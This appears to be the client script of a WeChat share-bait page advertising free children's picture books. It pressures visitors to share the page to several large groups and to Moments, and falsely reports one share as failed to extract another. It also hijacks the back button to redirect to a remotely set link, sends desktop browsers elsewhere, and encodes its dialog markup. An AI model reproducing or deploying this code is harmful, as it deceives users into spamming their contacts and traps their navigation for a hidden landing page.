var qurl = location.href;

var str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";   //产生随机数
var n = 5, shuiji = "";
for (var i = 0; i < n; i++) {
    var rand = Math.floor(Math.random() * str.length);
    shuiji += str.charAt(rand);
}

var alertTimes = 0;
function wxalert(msg, btn, callback) {
    if (alertTimes == 0) {
        var dialog = unescape("%3C%64%69%76%20%69%64%3D%22%6C%6C%79%5F%64%69%61%6C%6F%67%22%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%20%6E%6F%6E%65%22%3E%0A%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%77%65%75%69%2D%6D%61%73%6B%22%3E%3C%2F%64%69%76%3E%0A%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%77%65%75%69%2D%64%69%61%6C%6F%67%22%3E%0A%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%77%65%75%69%2D%64%69%61%6C%6F%67%5F%5F%62%64%22%20%69%64%3D%22%6C%6C%79%5F%64%69%61%6C%6F%67%5F%6D%73%67%22%3E%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%77%65%75%69%2D%64%69%61%6C%6F%67%5F%5F%66%74%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%61%20%68%72%65%66%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%3B%22%20%63%6C%61%73%73%3D%22%77%65%75%69%2D%64%69%61%6C%6F%67%5F%5F%62%74%6E%20%77%65%75%69%2D%64%69%61%6C%6F%67%5F%5F%62%74%6E%5F%70%72%69%6D%61%72%79%22%20%69%64%3D%22%6C%6C%79%5F%64%69%61%6C%6F%67%5F%62%74%6E%22%3E%3C%2F%61%3E%0A%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%3C%2F%64%69%76%3E%0A%3C%2F%64%69%76%3E");
        $("body").append(dialog)
    }
    alertTimes++;
    var d = $('#lly_dialog');
    d.fadeIn(200);
    d.find("#lly_dialog_msg").html(msg);
    d.find("#lly_dialog_btn").html(btn);
    d.find("#lly_dialog_btn").off('click').on('click', function () {
        d.fadeOut(200);
        if (callback) {
            callback()
        }
    })
}


var ttUrl = './../img/lq.JPG'; //分享成功后跳转的链接

function share_tip(share_app_times, share_timeline_times) {
    if (share_app_times < 3) {
        wxalert('分享成功,请再分享<span style="font-size: 30px;color: #f5294c">' + (3 - share_app_times) + '</span>个不同的群！<br/>(群人数不少于50人)', '确定')
    } else if (share_app_times == 3) {
        wxalert('分享失败,请再分享1个<span style="font-size: 30px;color: #f5294c">不同</span>的微信群<br/>(群人数不少于50人)', '确定')
    } else {
        if (share_timeline_times < 1) {
            wxalert('分享成功，剩下最后一步啦！<br>请分享到<span style="font-size: 30px;color: #f5294c">朋友圈</span>即可领取', '确定')

        } else {
            wxalert('恭喜获得领取资格，请点击确定，加小编领取哦<br/>（删除朋友圈无效）', '确定', function () {
                top.location.href = ttUrl;
            })
        }
    }
}

var shareATimes = 0;
var shareTTimes = 0;

function shareComplete(flag) {
    if (flag == 1) {
        shareTTimes += 1;
        share_tip(shareATimes, shareTTimes);
    }
    else {
        shareATimes += 1;
        share_tip(shareATimes, shareTTimes);
    }
}

var share_data;
$.getJSON('i.php', function (d) {
    share_data = d.data;
    if (share_data && share_data.title) {
        document.title = share_data.title || '儿童绘本';
    }
     ttUrl = share_data.share_landing_link;
});

function getShareData(shareTimeline) {
    var o = {
        title: (share_data && share_data.title || "无限量世界优秀儿童读物绘本，太不可思议了！！！ "),
        desc: (share_data && share_data.desc) || "点击有惊喜，速来领取 >>",
        link: (share_data && share_data.link || qurl),
        img_url: share_data && share_data.imgurl || "http://7xi6m2.com1.z0.glb.clouddn.com/20170408150905.JPG"
    };
    if (window.shareType == 'shareTimeline' || shareTimeline) {
        o = {
            title: (share_data && share_data.t_title || "无限量世界优秀儿童读物绘本，太不可思议了！！！ "),
            desc: "",
            link: (share_data && share_data.t_link || qurl),
            img_url: share_data && share_data.t_imgurl || "http://7xi6m2.com1.z0.glb.clouddn.com/20170408150905.JPG"
        };
    }
    return o;
}

function isIos() {
    var e = navigator.userAgent.toLowerCase();
    return e.indexOf("iphone") >= 0 || e.indexOf("ipad") >= 0 || e.indexOf("applewebkit") >= 0
}
function isAndroid() {
    var e = navigator.userAgent.toLowerCase();
    return e.indexOf("android") >= 0
}
isAndroid() || isIos() || (location.href = "http://xw.qq.com/");

function jssdk_ready() {
    wx.ready(function () {
        // wx.hideOptionMenu();
        wx.onMenuShareAppMessage({
            title: (share_data && share_data.title || "无限量世界优秀儿童读物绘本，太不可思议了！！！ "),
            desc: (share_data && share_data.desc) || "点击有惊喜，速来领取 >>",
            link: (share_data && share_data.link || qurl),
            imgUrl: share_data && share_data.imgurl || "http://7xi6m2.com1.z0.glb.clouddn.com/20170408150905.JPG",
            success: function (res) {
                shareComplete(0);
            },
            cancel: function (res) {
            }
        });

        // 2.2 监听“分享到朋友圈”按钮点击、自定义分享内容及分享结果接口
        wx.onMenuShareTimeline({
            title: (share_data && share_data.t_title || "无限量世界优秀儿童读物绘本，太不可思议了！！！ "),
            desc: '',
            link: (share_data && share_data.t_link || qurl),
            imgUrl: share_data && share_data.t_imgurl || "http://7xi6m2.com1.z0.glb.clouddn.com/20170408150905.JPG",
            success: function (res) {
                console.log(share_data && share_data.t_imgurl || "http://7xi6m2.com1.z0.glb.clouddn.com/20170408150905.JPG");
                shareComplete(1);
            },
            cancel: function (res) {
            }
        });

    });
}

$.getJSON('jssdk.php', {
    url: location.href.split('#')[0],
    type: 'azure'
}, function (d) {
    wx.config({
        debug: false,
        appId: d.appId,
        timestamp: d.timestamp,
        nonceStr: d.nonceStr,
        signature: d.signature,
        jsApiList: [
            'checkJsApi',
            'onMenuShareTimeline',
            'hideOptionMenu',
            'onMenuShareAppMessage'
        ]
    });

    jssdk_ready();
});

//退返跳转指定页面
window.onhashchange = function () {
    jp();
};
function hh() {
    var hash = Date.now();
    history.pushState(history.length + 1, "message", "#" + hash);
}
function jp() {
    location.href = share_data && share_data.back_link || "http://7xi6m2.com1.z0.glb.clouddn.com/lq.JPG";
}
setTimeout('hh();', 50);

$('.bon').click(function () {
    if ($('.fenxiang_zdy').css('display') == 'none') {
        $('.fenxiang_zdy').show();
    } else {
        $('.fenxiang_zdy').hide();
    }
});
$('.shares2').click(function () {
    if ($('.fenxiang_zdy').css('display') == 'none') {
        $('.fenxiang_zdy').show();
    } else {
        $('.fenxiang_zdy').hide();
    }
});